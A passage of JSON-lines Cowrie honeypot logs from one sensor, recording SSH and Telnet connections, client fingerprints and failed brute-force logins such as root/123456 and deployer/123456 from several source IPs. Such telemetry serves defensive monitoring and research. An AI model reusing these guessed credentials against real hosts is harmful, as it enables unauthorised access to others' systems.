{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:20.564276Z","src_ip":"182.217.16.126","session":"7a85f180c3f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"*&#@#&%","message":"login attempt [root/*&#@#&%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:21.435333Z","src_ip":"182.217.16.126","session":"7a85f180c3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:22.648414Z","src_ip":"182.217.16.126","session":"7a85f180c3f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.295756578445435,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:22.738146Z","src_ip":"152.42.224.71","session":"eadbebf35e9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00111389160156,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:23.070935Z","src_ip":"152.42.224.71","session":"ee755fed2a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":46530,"dst_ip":"159.203.135.109","dst_port":22,"session":"0011118e864f","protocol":"ssh","message":"New connection: 31.40.204.166:46530 (159.203.135.109:22) [session: 0011118e864f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:24.910713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:24.924219Z","src_ip":"31.40.204.166","session":"0011118e864f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:25.083212Z","src_ip":"31.40.204.166","session":"0011118e864f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"123456","message":"login attempt [root1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:26.024411Z","src_ip":"31.40.204.166","session":"0011118e864f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55642,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd6804e0c24e","protocol":"telnet","message":"New connection: 152.42.224.71:55642 (10.17.0.5:23) [session: dd6804e0c24e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:26.447113Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:27.201081Z","src_ip":"31.40.204.166","session":"0011118e864f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.14149236679077,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:29.559264Z","src_ip":"152.42.224.71","session":"a3b89f2debfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55650,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1e9474cc9bf","protocol":"telnet","message":"New connection: 152.42.224.71:55650 (10.17.0.5:23) [session: e1e9474cc9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:32.314242Z"}
{"eventid":"cowrie.session.closed","duration":72.24008369445801,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:32.641764Z","src_ip":"152.42.224.71","session":"32fd6d0529ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55666,"dst_ip":"10.17.0.5","dst_port":23,"session":"48dce1c11929","protocol":"telnet","message":"New connection: 152.42.224.71:55666 (10.17.0.5:23) [session: 48dce1c11929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:33.314429Z"}
{"eventid":"cowrie.session.closed","duration":113.35054922103882,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:33.744543Z","src_ip":"152.42.224.71","session":"9981174d8679","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.496799945831299,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:36.943796Z","src_ip":"152.42.224.71","session":"dd6804e0c24e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49234,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c2774ce8aa5","protocol":"ssh","message":"New connection: 31.40.204.166:49234 (159.203.135.109:22) [session: 2c2774ce8aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:36.985956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:37.007938Z","src_ip":"31.40.204.166","session":"2c2774ce8aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:37.195105Z","src_ip":"31.40.204.166","session":"2c2774ce8aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:37.723715Z","src_ip":"31.40.204.166","session":"2c2774ce8aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:38.900944Z","src_ip":"31.40.204.166","session":"2c2774ce8aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.812579870224,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:42.933822Z","src_ip":"152.42.224.71","session":"cd2f0ffca1e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.18115162849426,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:45.335806Z","src_ip":"152.42.224.71","session":"1445841c854e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.41868782043457,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:45.464591Z","src_ip":"152.42.224.71","session":"619a726f02ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":50702,"dst_ip":"159.203.135.109","dst_port":22,"session":"2395ae960f0f","protocol":"ssh","message":"New connection: 119.28.115.94:50702 (159.203.135.109:22) [session: 2395ae960f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:47.198561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:47.203442Z","src_ip":"119.28.115.94","session":"2395ae960f0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":14588,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e0be08b9c6e","protocol":"ssh","message":"New connection: 101.36.108.213:14588 (159.203.135.109:22) [session: 4e0be08b9c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:47.323982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:47.330100Z","src_ip":"101.36.108.213","session":"4e0be08b9c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:47.441827Z","src_ip":"119.28.115.94","session":"2395ae960f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:47.551562Z","src_ip":"101.36.108.213","session":"4e0be08b9c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":42036,"dst_ip":"10.17.0.5","dst_port":22,"session":"4714b5157e6d","protocol":"ssh","message":"New connection: 103.173.227.57:42036 (10.17.0.5:22) [session: 4714b5157e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:48.191232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:48.195792Z","src_ip":"103.173.227.57","session":"4714b5157e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ljs","message":"login attempt [root/ljs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:48.420007Z","src_ip":"119.28.115.94","session":"2395ae960f0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:48.435691Z","src_ip":"103.173.227.57","session":"4714b5157e6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha","message":"login attempt [root/senha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:48.456374Z","src_ip":"101.36.108.213","session":"4e0be08b9c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43550,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c292904a0a5","protocol":"telnet","message":"New connection: 152.42.224.71:43550 (10.17.0.5:23) [session: 7c292904a0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:48.952073Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"metall","message":"login attempt [root/metall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.161016Z","src_ip":"103.173.227.57","session":"4714b5157e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51404,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b9bfd31c398","protocol":"ssh","message":"New connection: 31.40.204.166:51404 (159.203.135.109:22) [session: 9b9bfd31c398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.185835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.189472Z","src_ip":"31.40.204.166","session":"9b9bfd31c398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.318137Z","src_ip":"31.40.204.166","session":"9b9bfd31c398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43554,"dst_ip":"10.17.0.5","dst_port":23,"session":"819300324412","protocol":"telnet","message":"New connection: 152.42.224.71:43554 (10.17.0.5:23) [session: 819300324412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.331380Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.142.43.122","src_port":53122,"dst_ip":"10.17.0.5","dst_port":22,"session":"4385ec0b1f1c","protocol":"ssh","message":"New connection: 193.142.43.122:53122 (10.17.0.5:22) [session: 4385ec0b1f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.455460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.460574Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-